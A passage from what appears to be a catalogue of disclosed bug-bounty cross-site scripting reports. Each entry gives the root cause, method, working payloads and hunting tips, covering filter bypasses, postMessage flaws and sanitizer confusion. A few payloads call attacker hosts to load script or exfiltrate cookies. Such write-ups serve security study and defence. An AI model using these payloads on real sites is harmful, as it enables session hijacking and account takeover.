ifrm.contentWindow.postMessage({ast:{code:"<img src='x' onError={() => alert(document.location)} />;"}}, '*');
};
</script>
Insight — Grep target JS for addEventListener('message', handler) and check for a missing/weak event.origin validation, then trace where message data flows into a sink (innerHTML, eval, React setState-of-code, location). Frame the page and postMessage crafted data. Fix: strict origin allowlist and never render message data as code.
Real-world example
Uppercase-forcing filter bypassed with alphabet-free octal-escaped JavaScript
◆ Low
Specimen #1167034 · acronis · none · 5 votes · resolved
Program acronisSurface web
Root cause
The serial param is reflected without output encoding but the app upcases all letters, breaking case-sensitive JS (ALERT != alert). Because non-alphabetic characters are left untouched, JS built from bracket notation and octal string escapes contains no literal letters and survives the uppercasing.
Method
- Confirm input is reflected but forced to uppercase (letters mangled, tags/handlers still inject)
- Build the JS using [] property access and octal (\ddd) escapes so the payload string has no ASCII letters
- Deliver in an event handler (onmouseover/onerror) so no letters are needed in the executable part
[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()
// => []['filter']['constructor']('alert(1)')()
// used inside: <img src=x onerror=[]['\146...']['\143...']('...')()>test
Insight — When a filter transforms case (uppercase/lowercase) or strips specific letters, keep the executable payload letter-free: build strings via octal/hex/unicode escapes and reach functions through [][ 'filter' ]['constructor'](...) or []['flat']['constructor']. This defeats casing filters, some WAFs, and keyword blocklists. Detect the transform first, then choose an encoding the transform ignores.
Real-world example
Ad-server layerstyle parameters reflected unescaped into delivered JS/CSS (parameter smuggling)
◆ Low
Specimen #1694171 · revive_adserver · none · 5 votes · resolved
Program revive_adserverSurface webTag cors
Root cause
Revive Adserver delivery endpoints (al.php) build the returned JavaScript/CSS by echoing layerstyle parameters (closetext, shifth, shiftv, rmargin, padding, bordercolor, etc.) without escaping, so params reflected into the ad's JS/CSS become code/CSS injection on the host site that shows the ad.
Method
- Call the delivery endpoint with a layerstyle and a controllable parameter
- Inject HTML/JS via closetext (HTML), or CSS via padding/bordercolor (e.g. url(...) for external requests), or JS via shifth/shiftv/rmargin depending on align/valign/trail flags
- Because the endpoint returns JS, chain it where the host site forwards a client-controlled param into the adserver call
https://ads.example.com/www/delivery/al.php?zoneid=1&layerstyle=geocities&closetext=<script>alert(123);</script>
// CSS-injection variant for external requests: padding=0;background:url(https://attacker.tld/)
Insight — Ad/analytics/widget delivery scripts that echo query params into returned JS/CSS are code-injection sinks. Look for endpoints returning Content-Type application/javascript that reflect params. Exploit needs a host page that forwards attacker-influenced params to the widget; also usable to bypass CORS if the adserver origin is whitelisted. Enumerate every style/config parameter, not just obvious text fields.
Real-world example
Reflected XSS in JS/script context (GTM dataLayer / inline script breakout)
◆ Low
Specimen #792725 · clario · awarded · 4 votes · resolved
Program clarioSurface web
Root cause
Request parameters (affid/guid) are reflected unescaped inside an inline <script> block as JSON values in a dataLayer.push() object; breaking out of the JS string and the <script> element yields script execution.
Method
- Identify params echoed into an inline <script> (analytics dataLayer, Page.globals, config JSON)
- Close the JS string/object and the script element
- Open a fresh <script> with the payload
- Load the URL (view source if CSP suppresses the alert)
?affid=x'"><>&guid=59...002/xxxx",});</script>%0a<script>alert(1)</script>>><>
--- inline <script> variant (#80694 Urban Dictionary) ---
/define.php?term=Lol</script><svg onload=confirm(document.domain)>
Insight — Reflection inside an inline <script> (Google Tag Manager dataLayer, window.Page.globals, JSON config) needs a JS-context breakout, not an HTML one: terminate the string/object, then </script> to leave RAWTEXT, then inject fresh markup. Check page source, not just the rendered DOM.
Real-world example
WooCommerce Product Vendors reflected XSS via POST param
◆ Low
Specimen #253313 · automattic · awarded · 4 votes · resolved
Program automatticSurface web
Root cause
The vendor_description POST parameter of the WooCommerce Product Vendors registration form is echoed into the page source without escaping (templates/shortcode-registration-form.php), giving reflected XSS despite client-side validation.
Method
- Locate the vendor registration form page (product-vendor-registration-form)
- POST vendor_description containing script markup, bypassing JS validation by sending the request directly
- Confirm the unescaped payload in the response source
curl -X POST -d 'vendor_description=<script>alert("xss")</script>' 'https://TARGET/index.php/product-vendor-registration-form/?confirm_email=1&email=1&firstname=1&lastname=1&location=1®ister=Register&username=1&vendor_description=1&vendor_name=1'
Insight — Client-side validation is not a security control: replay form POSTs directly with curl/Burp to reach server-side sinks; grep plugin templates for echo of unescaped $_POST fields.
Real-world example
Stored XSS via report name reflected into generated embed code
◆ Low
Specimen #284082 · infogram · none · 4 votes · resolved
Program infogramSurface web
Root cause
A user-controlled report/project name is inserted unescaped into the auto-generated share/embed HTML snippet, so the stored payload executes for anyone who copies and hosts that embed code.
Method
- Create a report and set its name to an HTML-breaking payload
- Open the report share dialog and copy the generated embed code
- The payload is present in the embed snippet and runs when embedded on any page
"></div> My Report <script type="text/javascript">alert(document.cookie);</script><div id="
Insight — Audit auto-generated artifacts - embed codes, share links, oEmbed, exported HTML/CSV - for unescaped user names/titles; the victim is a third party who copies the snippet, expanding the blast radius beyond the app itself.
Real-world example
Reflected Flash XSS via clipboard.swf highlighterId param
◆ Low
Specimen #296377 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
The jstree-bundled clipboard.swf (ZeroClipboard-style) reflects the highlighterId FlashVar into a JS context without sanitization, allowing an attacker to break out and execute arbitrary JavaScript in the origin of any app serving it (here redis-commander).
Method
- Find the vulnerable clipboard.swf under jstree/_docs/syntax/
- Supply a highlighterId that closes the generated JS and calls alert
- Open in a Flash-enabled browser to execute
http://TARGET/jstree/_docs/syntax/clipboard.swf?highlighterId=\%22))}%20catch(e)%20{alert(document.domain);}//
Insight — clipboard.swf / ZeroClipboard is a recurrent reflected-XSS component embedded transitively via jstree and many dashboards; enumerate static .swf assets by path and test their documented FlashVar sinks (highlighterId, id).
Real-world example
Stored XSS via unescaped field written to innerHTML (forgotten field)
◆ Low
Specimen #390728 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface web
Root cause
Client escapes most scan-result fields with escapeHTML but assigns data.url into an element via innerHTML unescaped; an attacker-controlled URL containing HTML executes when the report renders.
Method
- Host a scan target whose reported URL contains HTML (dir named with markup + symlinked status.php)
- Trigger scan.nextcloud.com to scan it
- Victim opens the results page; url field is injected via innerHTML
# make the attacker URL contain markup via a directory name + symlink:
mkdir 'heh<script>alert(1)'
ln -s ../status.php 'heh<script>alert(1)/'
Insight — When most fields are escaped but one uses innerHTML, that single forgotten field is the bug. Audit every sink individually; diff which values are escaped vs assigned raw.
Real-world example
ColdFusion debug panel reflected XSS with </script> break-out
◆ Low
Specimen #1166918 · acronis · none · 4 votes · resolved
Program acronisSurface web
Root cause
Exposed CFIDE/debug/cf_debugFr.cfm reflects the userPage parameter without encoding inside a script context; closing </script> plus CRLF lets an attacker inject a new HTML element.
Method
- Locate exposed CFIDE/debug/cf_debugFr.cfm
- Set userPage to CRLF + </script> + an element with an event handler
- XSS fires
cf_debugFr.cfm?userPage=%0d%0a</script><img+src=x+onerror=alert(document.domain)>
cf_debugFr.cfm?userPage=%0d%0a</script><h1+onmouseover=alert(document.cookie)>MOUSEOVER_XSS</h1>
Insight — Exposed ColdFusion CFIDE debug endpoints are a known reflected-XSS target; when reflection is inside <script>, break out with </script> (and %0d%0a) before injecting markup.
Real-world example
Stored XSS via custom variable/merge field rendered in a WYSIWYG editor
◆ Low
Specimen #928816 · lemlist · none · 3 votes · resolved
Program lemlistSurface web
Root cause
A user-defined custom variable value is stored unencoded and later injected into an HTML attribute when the variable is inserted into the WYSIWYG email editor, breaking out of the attribute.
Method
- Create a custom variable with value " onmouseover="confirm(document.domain)" a="
- Open the message/email editor and insert that custom variable
- Payload renders and fires in the editor
" onmouseover="confirm(document.domain)" a="
Insight — Custom variables / merge tags / placeholders are stored input that gets rendered in a different UI (editor, preview, sent email). Test attribute-breakout payloads in any 'define once, render elsewhere' field - impacts other org members who insert the variable.
Real-world example
Reflected XSS in a redirect subdomain used as internal proxy
◆ Low
Specimen #1379158 · informatica · none · 3 votes · resolved
Program informaticaSurface webChain Reflected XSS on internal-facing redirect subdomain -> reTag account-takeover
Root cause
A dedicated redirect/gateway subdomain reflects its url parameter unencoded; because that subdomain forwards users to internal resources (VPN endpoints), XSS there runs in the browser of internal users and can rewrite links to phishing pages.
Method
- Find a redirect/proxy subdomain (redirect.*, go.*) forwarding to internal resources
- Inject script into its url/redirect parameter
- Use the XSS to overwrite VPN/login endpoint links to an attacker phishing site and capture internal credentials
https://redirect.TARGET/redirect/?url=<script>alert(document.domain)</script>
Insight — Redirect/gateway subdomains that proxy to internal apps are high-value XSS targets: an XSS there proxies traffic through internal users and harvests VPN/internal credentials; always test the url/next/redirect param on such hosts even when the reflected-XSS severity looks low.
Real-world example
Alternate input channel (FTP upload) bypasses validation enforced on the primary channel
◆ Low
Specimen #45368 · vimeo · awarded · 2 votes · resolved
Program vimeoSurface webTag file-upload
Root cause
Video titles set via the web UI are sanitized, but titles derived from FTP-uploaded filenames are not - the filename becomes the stored video name verbatim, allowing a script payload that the manual-edit path would reject.
Method
- Upload a video via FTP (Vimeo Pro) with a filename containing an HTML/JS payload
- The filename is stored as the video title with no sanitization (the same string is rejected via manual editing)
- Payload persists as the title and can execute where the title is later rendered (share/follow/link/like flows)
""><img src = x onerror=alert(2)>".mp4
Insight — Map every ingestion path for the same field (web form, API, FTP/SFTP, email import, mobile app, bulk import). Validation is commonly applied on the obvious UI path only; a secondary channel that populates the same stored field is a classic stored-XSS/injection source even when it doesn't reflect immediately.
Real-world example
Flash/SWF XSS on IE via location.hash and content-type sniffing bypass
◆ Low
Specimen #66121 · vkcom · 500 · 2 votes · resolved
Program vkcomSurface webTag file-upload
Root cause
A legacy uploader .swf takes FlashVars (onMouseOver) that call document.write with attacker-controlled location.hash; served without X-Content-Type-Options:nosniff, IE MIME-sniffs the application/zip response and plays it as Flash, so the hash-borne script executes.
Method
- Locate a .swf that reflects a FlashVar (e.g. onMouseOver) into document.write / ExternalInterface
- Point that param at window.location.hash.substr(1) and put the JS after the # fragment
- Open in Internet Explorer and hover to trigger; frame it (no X-Frame-Options) to run stealthily
http://TARGET/swf/photo_uploader_lite.swf?h=h?&onMouseOver=document.write(window.location.hash.substr(1))#<script>alert(document.domain)</script>
Insight — Legacy SWF files with document.write/ExternalInterface FlashVars are XSS sinks; missing nosniff lets IE render mis-typed (application/zip) responses as Flash, and putting the payload in the # fragment keeps it out of server logs. Missing X-Frame-Options lets the attack be iframed silently.
Real-world example
Second-order stored XSS via third-party contact import/sync
◆ Low
Specimen #38189 · openfolio · 100 · 2 votes · resolved
Program openfolioSurface webTag oauth
Root cause
Apps that import/sync contacts from Google/Gmail render the externally-controlled contact name/email fields without encoding, so a payload stored in a Google contact executes when the target app displays the imported list.
Method
- Create a Google/Gmail contact with an XSS payload in the name (and/or email) field
- In the victim app, use 'import contacts' / 'invite Gmail friends' and authorize
- Open the imported contacts/invite view - the payload from the external source fires
"><img src=x onerror=prompt(1)> (as a Google contact name)
email: a"><img src=y onerror=prompt(1)>@x.com
Insight — Data imported from external providers (Google Contacts, address books, OAuth profile fields) is attacker-controllable and frequently trusted as clean; treat every import/sync sink as an XSS source. The payload is planted out-of-band on the third party, so it bypasses the target app's own input validation entirely (second-order).
Real-world example
Attribute-context XSS via unescaped URL path segment (Concrete CMS)
◆ Low
Specimen #6843 · concretecms · none · 2 votes · resolved
Program concretecmsSurface webTag account-takeover
Root cause
getMarketplacePurchaseFrame echoes getProductBlockID() (derived from the URL path) into an HTML attribute without escaping, so a path segment can break out of the attribute and add an event handler.
Method
- Identify a value taken from the URL path and reflected into an HTML attribute (e.g. a frame/src builder)
- Inject a quote to close the attribute and add an event handler
- Load the crafted path to trigger
https://TARGET/dashboard/extend/connect/" onmouseover="alert(document.cookie)">
Insight — Reflected XSS lives in URL path segments too, not just query params; when a path value lands in an HTML attribute, break out with a quote and add onmouseover/onerror. Grep source for variables from the path/route concatenated into markup (source-code audit angle).
Real-world example
Reflected XSS in landing/tracking PHP scripts across shared-codebase subdomains
◆ Low
Specimen #731733 · clario · 75 · 2 votes · resolved
Program clarioSurface webTag account-takeover
Root cause
Marketing landing and billing/pixel PHP scripts reflect arbitrary GET parameters (op, source, affid, utm_*, orderid) straight into the HTML/JS of the page with no encoding; the same vulnerable code is deployed across sibling subdomains.
Method
- Enumerate landing/tracking/thank-you PHP endpoints (download.php, thankyou.pixels.php, /landings/*)
- Fuzz every GET param with a context-adaptive payload (attribute, <option>, and <script> breakouts)
- Repeat against sibling subdomains (app, app1, app2, app3) that share the codebase
# HTML/option context:
?op=blabla"></option></for><img src=x onerror=alert(document.domain)>
# inline <script> context (close the script block first):
?orderid=930799331063'}});</script><script>alert(document.domain)</script>//
# generic:
?x-prepay=xxx'"><svg/onload=alert(document.cookie)>
Insight — Marketing/affiliate landing pages and billing 'pixel/thank-you' scripts are XSS goldmines: they reflect tracking params (utm_*, affid, source, orderid, clid) unsanitized and are rarely code-reviewed. When you find one, retest every sibling subdomain because these landers share a codebase; adapt the breakout to the reflection context (attribute vs <option> vs <script>).
Real-world example
DOM XSS via param concatenated into jQuery-built img src (Twitter amplify player)
◆ Low
Specimen #15125 · x · none · 2 votes · resolved
Program xSurface webTag account-takeover
Root cause
The amplify web player reads image_src from the URL and concatenates it (variable h) into an HTML string passed to jQuery $(...): src='...+h+...'; a single quote closes the src attribute and adds an onload handler that executes on img render.
Method
- Find a client-side sink where a URL param is concatenated into an HTML string given to $()/innerHTML
- Supply a valid data:image value, then break out of the single-quoted src attribute with '
- Append onload=... ; the constructed <img> executes it
...source.html?...&image_src=data:image/gif;base64,R0lGODlh...AICTAEAOw'onload='alert(1000)
Insight — jQuery $('<img src="'+userinput+'">') / innerHTML concatenation is a DOM-XSS sink even for 'image URL' params; a data: URI satisfies image validators while the trailing quote breaks into an onload handler. Trace client JS for params flowing into $(), .html(), innerHTML. CSP can neutralize it, so success depends on the victim browser honoring CSP.
Real-world example
Stored XSS via unsanitized markdown rendering (marked sanitize:false)
◆ Low
Specimen #453795 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
harp/terraform render .md files with the marked library, which by default (sanitize:false) passes raw inline HTML through, so any HTML/JS in a markdown file executes in the browser.
Method
- Confirm the target renders markdown with marked (or similar) and does not set sanitize:true
- Supply a markdown file/comment containing raw HTML (script/img-onerror)
- Open the rendered page -> XSS
# hello
<img src=x onerror=alert(document.domain)>
<script>alert(1)</script>
Insight — Markdown renderers are XSS sinks unless explicitly sanitized. marked defaults to sanitize:false; markdown-it needs html:false. Anywhere user markdown is rendered (comments, README preview, wiki), drop raw HTML tags to test.
Real-world example
Reflected XSS in analytics endpoints - script-context and attribute-context breakouts
◆ Low
Specimen #840515 · clario · awarded · 2 votes · resolved
Program clarioSurface webTag account-takeover
Root cause
Event/analytics and signup/signin parameters (rid, trtId, bundleId, and even the guid cookie) are reflected into inline <script> blocks and into data-* attributes without encoding, allowing context breakout.
Method
- Find analytics/tracking params echoed into inline JS or data-* attributes
- Script context: send rid=</script><script>...</script>
- Attribute context: send trtId/bundleId="><script>...</script>
- Cookie context: reflected guid cookie breaks the inline-JS object literal with ",...;alert()
https://mackeeper.com/mk/api/send-event?rid=%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
# attr breakout: /signup?trtId=x"><script>alert('xss')</script>
# cookie->JS: guid cookie = 1","touchPoint":"web"});alert("pwned");var s=({"name":"1
Insight — Tracking/analytics endpoints (send-event, pixel, affiliate id params) are heavily reflected and lightly filtered. Map the reflection context: </script> to escape inline JS, "> for data-* attributes, and remember reflected COOKIE values (guid/affid) are an XSS source too.
Real-world example
Reflected XSS in merchant Search parameter via attribute breakout
◆ Low
Specimen #653221 · kartpay · none · 1 votes · resolved
Program kartpaySurface web
Root cause
The settlements page reflects the Search parameter into HTML without encoding, allowing an attribute/tag breakout that injects a new element with an event handler.
Method
- Go to https://merchant.kartpay.com/settlements
- Enter the payload into the Search field
- Observe the injected img error handler fire (alert(domain))
"><img src=x onerror=alert(domain)>
Insight — Search/filter fields on authenticated dashboard pages are a common reflected-XSS sink; always try the quote-then-tag breakout ('"><img src=x onerror=...>') and use alert(document.domain) to prove the executing origin.
Real-world example
Directory-listing static server: unsanitized file/dir names -> stored XSS
◆ Low
Specimen #856588 · nodejs-ecosystem · none · votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Static file servers that auto-generate a directory-listing page embed file and directory names directly into the HTML (both the anchor's href attribute and its visible text) without escaping. A filename containing HTML executes when anyone browses the listing, giving persistent (stored) XSS.
Method
- Create a file and/or directory whose name contains an attribute-breakout XSS payload
- Serve the directory with the vulnerable static server
- Browse the listing page; the name is rendered unescaped into href and anchor text and fires
# filename / dirname as the payload
touch '"><img src=x onerror=javascript:alert("xss")>'
mkdir '"><img src=x onerror=javascript:alert("xss2")>'
# also seen: <img src=x onerror=alert(1)> and "><img src=x onerror=alert("xss")>.jpg
Insight — Any tool that lists a filesystem in HTML (Node static servers, file-share/upload UIs, directory indexes) is a stored-XSS sink if it doesn't HTML-encode names. The filename IS the injection vector — test with names containing "><img onerror> or <svg onload>. On multi-tenant/shared upload dirs this becomes a real stored XSS against admins/other users, not just localhost self-XSS.
Real-world example
Stored XSS via third-party integration rendering external content
◆ Info
Specimen #11073 · slack · 500 · 157 votes · resolved
Program slackSurface webTag webhook
Root cause
A gist integration fetches and serves external gist content (the gist filename/name) on an integration domain without encoding, so an attacker-named gist executes as HTML.
Method
- Create a gist named with an HTML/script payload
- Enable the gist integration and post the gist link
- Visit the integration's raw/new-window view where the name is reflected
"><svg onload=alert(1)>
Insight — Integrations that pull content from a third-party service (names, titles, files) and render it on your own domain inherit that service's lax input rules. Test attacker-controlled fields on the source service (gist name, repo desc) for reflection on the integrating app.
Real-world example
postMessage frame-jumping into Marketo XDFrame + arbitrary jQuery $.ajax JSONP -> XSS
◆ Info
Specimen #207042 · security · awarded · 153 votes · resolved
Program securitySurface webChain missing-origin postMessage -> $.ajax JSONP XSS -> contTag cors
Root cause
Marketo's cross-domain XDFrame listens for postMessage with no origin check and passes attacker-controlled parameters straight into jQuery $.ajax; dataType:'jsonp' then executes an attacker-hosted script, giving XSS on the Marketo origin and letting the attacker eavesdrop on the embedding site's contact form.
Method
- Embed https://app-sjNN.marketo.com/index.php/form/XDFrame in an attacker page as a named iframe
- On its first message, postMessage back a payload whose mktoRequest.ajaxParams is a JSONP request to attacker.com
- attacker.com returns 'alert(document.domain)' with ACAO:* -> XSS in the Marketo frame
- Chain the #contact auto-loader on the victim site to open its form inside the compromised frame and exfiltrate submitted fields
x.postMessage('{"mktoRequest":{"ajaxParams":{"url":"https://attacker.com/jsonp.php","dataType":"jsonp","method":"get"}}}','*')
// jsonp.php: header('Access-Control-Allow-Origin: *'); echo 'alert(document.domain)';
Insight — Any postMessage listener that (a) omits an origin check and (b) forwards message data into $.ajax / fetch / a URL is exploitable. dataType:'jsonp' turns an SSRF-like request primitive into script execution. Audit third-party marketing/embed frames (Marketo, Eloqua) that ship on the main marketing domain.
Real-world example
Reflected XSS in OAuth callback error_description param
◆ Info
Specimen #770349 · x · awarded · 140 votes · resolved
Program xSurface webTag oauth
Root cause
An OAuth/social-login callback reflects the error_description query parameter into the HTML response without encoding, allowing a classic attribute/tag breakout.
Method
- Find the auth callback (e.g. /authentication/fb_callback)
- Put the payload in error_description (and pair with error/error_code as expected)
- Load the URL to fire the XSS
https://TARGET/authentication/fb_callback?error=access_denied&error_code=200&error_description=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(document.domain)%3E
Insight — OAuth/social callback endpoints echo error/error_description/state back to the user and are frequently unescaped. Always fuzz the callback's error and redirect params, not just the app's own search fields. Also seen as a plain redirect-param reflection on inDrive #2014955.
Real-world example
postMessage escaping bypass via HTML5 structured-clone File object (hasOwnProperty trap)
◆ Info
Specimen #231053 · shopify · USD 3000 · 121 votes · resolved
Program shopifySurface webChain origin-less postMessage -> escape bypass -> DOM XSS onTag account-takeover
Root cause
A postMessage handler escaped payload properties by looping and overwriting them, but the escape loop was guarded by hasOwnProperty; a structured-clone object whose needed property is a read-only prototype accessor (File.name) is never escaped.
Method
- Find a postMessage listener that renders payload fields into innerHTML after 'escaping' them
- Note the escaper iterates 'for idx in payload' guarded by payload.hasOwnProperty(idx)
- Supply a structured-clone-able object whose consumed property is inherited/read-only (File.name)
- Property skips escaping and injects raw HTML into the DOM
frame.contentWindow.postMessage({
type: "DigitalWalletsDialog:change",
digitalWalletsDialog: true,
payload: { title:"x", button:"x",
lineItems: [ new File([""], "<img src=xx: onerror=alert(document.domain)>") ] }
}, "*");
Insight — When JS 'sanitizes' an object in place with a hasOwnProperty-guarded loop, any property living on the prototype (or a read-only host-object accessor like File.name) escapes sanitization. Try passing File/Blob/other structured-clone objects over postMessage instead of plain objects.
Real-world example
Stored XSS via javascript: link surviving an inconsistent sanitizer path (edit mode)
◆ Info
Specimen #132104 · slack · awarded · 103 votes · resolved
Program slackSurface web
Root cause
Slack's post renderer blocked non-http(s) link protocols in the public/preview path, but the team-domain edit mode had no such check; injecting a javascript: link directly via the WebSocket save payload produced a clickable, executing link.
Method
- Create a post with a normal link, then delete+undo it to capture the link-save WebSocket message
- Modify the captured payload to set the link URL to a javascript: URI
- Save; in edit mode the javascript: link renders without the http(s)-only guard and executes on click
- Enable 'Let others edit' to hit other team members
// tampered WebSocket save payload sets:
"url":"javascript:alert(\"XSS\"%29"
// missing guard (present only in public preview):
if (protocol && /^https?:$/.test(protocol) === false) { e.preventDefault(); }
Insight — Sanitization applied in one render path is often absent in another (preview vs edit, list vs detail, web vs API). Bypass client-side link validation entirely by editing the raw save payload (WebSocket/GraphQL/REST) rather than typing in the UI.
Real-world example
Blind stored XSS via device hostname landing in an internal admin dashboard
◆ Info
Specimen #995995 · security · none · 84 votes · resolved
Program securitySurface webChain Attacker sets device hostname payload -> agent reports to
Root cause
An asset/inventory management app (Sal) renders a machine attribute the reporting agent submits (the device hostname) into an admin dashboard without encoding; setting a device's hostname to a blind-XSS payload fires when staff open the inventory list (CVE-2020-26205).
Method
- Set an attacker-controlled machine's hostname to a blind-XSS payload (XSS Hunter / your collaborator)
- Let the monitoring/inventory agent report the machine into the internal dashboard
- When an operator views the activity/machine list, the payload fires and exfiltrates DOM, cookies, and the admin URL to your collector
"><script src="https://COLLAB.xss.ht"></script>
// set as the machine hostname reported by the Sal/MDM agent
Insight — Seed blind-XSS canaries (XSS Hunter/interactsh) into every free-text value that internal staff might view in a back-office tool — support tickets, Jira issues, partner/onboarding forms, and machine/agent attributes like hostname, user-agent, or device name. Payloads submitted through public/agent channels often land unescaped in privileged admin/analytics UIs months later.
Real-world example
Stored XSS via unescaped WordPress admin_notice output
◆ Info
Specimen #3447021 · automattic · none · 76 votes · resolved
Program automatticSurface webChain Inject option value -> admin views plugins.php -> unes
Root cause
A plugin echoes admin-notice text with no esc_html() (only the CSS class is escaped), so a notice message sourced from a stored option executes as HTML/JS in the wp-admin context when the option contains a script payload.
Method
- Get the malicious payload into the driving option (here atomic_single_option_limiter_notices, a serialized array whose key becomes the notice text)
- Have an admin load /wp-admin/plugins.php where print_admin_notices() runs
- The unescaped notice body executes in the admin session
// stored option value (serialized), the map key is echoed unescaped:
a:1:{s:34:"<script>alert('test')</script>test";a:1:{s:7:"expires";i:1893456000;}}
// vulnerable sink:
<p><?php echo $notice[0]; ?></p> // missing esc_html()
Insight — In WordPress/PHP code audits, grep admin_notices / echo of any message string for missing esc_html()/wp_kses(). Devs skip escaping to allow <strong> in notices, opening stored XSS if any notice text derives from options/user input. Trace what writes the driving option to complete the chain.
Real-world example
Stored XSS via nested <a> parser confusion smuggling javascript: href
◆ Info
Specimen #798599 · shopify · awarded · 75 votes · resolved
Program shopifySurface web
Root cause
Customer notes render user HTML with a sanitizer that mishandles deeply nested/broken <a href> tags; nesting anchors confuses the parser so a javascript: href survives and fires on hover/click.
Method
- Open a customer record and edit the notes field
- Insert nested/broken anchor tags wrapping a javascript: href
- Save; the sanitizer's tree diverges from the browser's, leaving a live javascript: link
- Hover/click -> XSS
<h1>hola||<a href="http://<a href="http://<a href="http://<a href="javascript:alert(document.cookie)" onmouseover="javascript:alert(document.cookie)">a</a>">a</a>">a</a>">gle.com</a>
Insight — Against HTML sanitizers, nest and malform tags (repeated <a href="http://<a ...) so the sanitizer and browser disagree on tag boundaries, letting a blocked attribute (javascript: href, onmouseover) slip through. Classic mutation/parser-differential bypass for allow-listed link fields.
Real-world example
Flash SWF reflected XSS: GET-killer bypass + ES6 backtick blacklist bypass
◆ Info
Specimen #134546 · automattic · awarded · 69 votes · resolved
Program automatticSurface webChain reflected XSS on *.twimg-style static origin -> cookie boTag account-takeover
Root cause
flashmediaelement.swf (shipped with WordPress) passes flashVars to ExternalInterface.call; its defenses (strip GET params that also appear as flashVars, blacklist ()/{} chars, require ExternalInterface.objectID) are each bypassable: Flash strips invalid URL escapes so the parsed param name mismatches the flashVar, ES6 backticks execute without parentheses, and Chrome auto-adds an id attribute when opening a SWF directly.
Method
- Call the SWF directly with the callback param name obfuscated by an invalid URL escape so the GET-killer's name-match fails (jsinitfunctio%gn -> Flash sees jsinitfunction).
- Avoid the ()/{} blacklist by invoking with ES6 template literals: alert`1` instead of alert(1).
- Open the SWF directly in Chrome, which injects id= on the <embed>, satisfying the ExternalInterface.objectID check for free.
- ExternalInterface.call executes JS in the WordPress origin.
https://TARGET/wp-includes/js/mediaelement/flashmediaelement.swf?%#jsinitfunctio%gn=alert`1`
Insight — Legacy plugin/static files (SWF, PDF, old JS) inherit the app origin and often have weak home-grown filters; invalid-URL-escape parameter smuggling defeats name-matching defenses, and ES6 backticks defeat paren/parenthesis blacklists. Enumerate directly-loadable static assets.
Real-world example
Reflected XSS via inline-JS string breakout in URL parameter
◆ Info
Specimen #226428 · shopify · awarded · 69 votes · resolved
Program shopifySurface webChain unauthenticated storefront XSS reaches same-origin store admTag account-takeover
Root cause
A URL parameter (theme_handle) is reflected inside a single-quoted JavaScript string in an inline <script> without escaping; closing the quote and using arithmetic concatenation ('-alert()-') executes code. Because the storefront shares an origin with the store admin, an unauthenticated XSS reaches the admin.
Method
- Read a required companion value from the page source (e.g. Shopify.theme id).
- Inject the param reflected into inline JS: value = xx'-alert(document.cookie)-'.
- The '-...-' pattern closes the string, runs alert, reconciles the expression, keeping JS syntactically valid.
- XSS fires storefront-wide until the preview is cancelled.
https://STORE.myshopify.com/?theme_handle=xx%27-alert(document.cookie)-%27&style_id=1&style_handle=1&preview_theme_id=THEME_ID
Insight — When reflection is inside a quoted JS string, the classic '-alert(1)-' (or "-alert(1)-") breakout keeps the script valid and needs no tags; test it whenever a param appears inside <script>. Storefront==admin origin turns a 'low' reflection into an admin-reaching attack.
Real-world example
Emoji-import stored XSS reached via path traversal + PHP upload-tmp fd race (+DoS)
◆ Info
Specimen #2168002 · phpbb · none · 69 votes · resolved
Program phpbbSurface webChain path traversal (pak) -> import attacker-controlled pak viTag file-upload
Root cause
acp_icons.php passes the pak parameter unsanitized to PHP file(); imported emoji SMILEY_IMG values are stored/rendered without escaping (stored XSS), and reading /proc/self/fd/1 hangs the request (DoS). Even without file-write access, an attacker races phpBB to import from the PHP upload temp fd (/proc/self/fd/N) created during a spammed multipart upload.
Method
- Confirm pak is passed to file() unsanitized; reading /proc/self/fd/1 hangs the connection -> DoS, and different error strings leak file existence.
- Prepare an emoji pak whose emoji title/img contains an XSS payload (SMILEY_IMG unescaped).
- With no direct file access, spam multipart upload requests so PHP creates temp files with fds (e.g. /proc/self/fd/10).
- Race: set pak to the temp fd path and trigger import before PHP deletes the temp file; stored XSS then fires wherever that emoji renders (posts/admin).
action=import&pak=../../../../../../../../../proc/self/fd/1 (DoS)
malicious pak row (stored XSS):
'"onmouseover=alert() ><script>alert()</script>', '17', '18', '1', 'POC', ':POC:',
Insight — PHP's per-request upload temp file is reachable via /proc/self/fd/N; a path-traversal import/read sink that needs a server-side file can be fed attacker content by racing a spammed upload. /proc/self/fd/1 (or a named pipe) turns a file-read into a hang/DoS.
Real-world example
Multiple DOM XSS in a JS video player: jQuery $.get no-dataType + javascript: sinks
◆ Info
Specimen #88719 · x · awarded · 66 votes · resolved
Program xSurface webChain DOM XSS on shared static origin -> clickjacking / cookie-Tag account-takeover
Root cause
A client-side player takes URL parameters and (1) calls jQuery $.get(url) without a dataType so a remote response with an HTML/script content-type is executed, (2) sets an iframe src / anchor href from a user-supplied player_url / vmap ctaLink without validating the scheme, allowing javascript: URIs.
Method
- Find $.get(userUrl) with no dataType -> point url= at an attacker file; jQuery sniffs content-type and executes returned script.
- Find sinks that set iframe.src / a.href from params (player_url, ctaLink) -> supply javascript:alert(1).
- For structured feeds (vmap/vast XML), inject javascript: into fields like tw:cta_open_url that become an anchor href.
- Trigger by clicking play; alert executes in the player origin.
$.get sink: https://PLAYER/source.html?url=https://ATTACKER/js.php
iframe sink: https://PLAYER/source.html?player_url=javascript:alert(1)&source_type=vine
vmap sink: <tw:cta_open_url url="javascript:alert(1)" />
Insight — jQuery $.get/$.ajax without an explicit dataType is a DOM-XSS sink (content-type sniffing runs returned script). Any param that flows to iframe.src, a.href, location, or window.open is a javascript:-scheme sink; audit client JS for these source->sink flows. Structured media manifests (VMAP/VAST) are overlooked injection surfaces.
Real-world example
Reflected XSS via param that loads a third-party JSONP script
◆ Info
Specimen #145278 · uber · awarded · 64 votes · resolved
Program uberSurface web
Root cause
A URL parameter (kxsrc) is used to load an external script; pointing it at a JSONP endpoint whose callback is attacker-controlled executes arbitrary JS in the page origin.
Method
- Find a param that fetches/injects a remote script (analytics/beacon integrations)
- Point it at a JSONP endpoint and set the callback to your JS expression
- Load the page and observe execution in the target origin
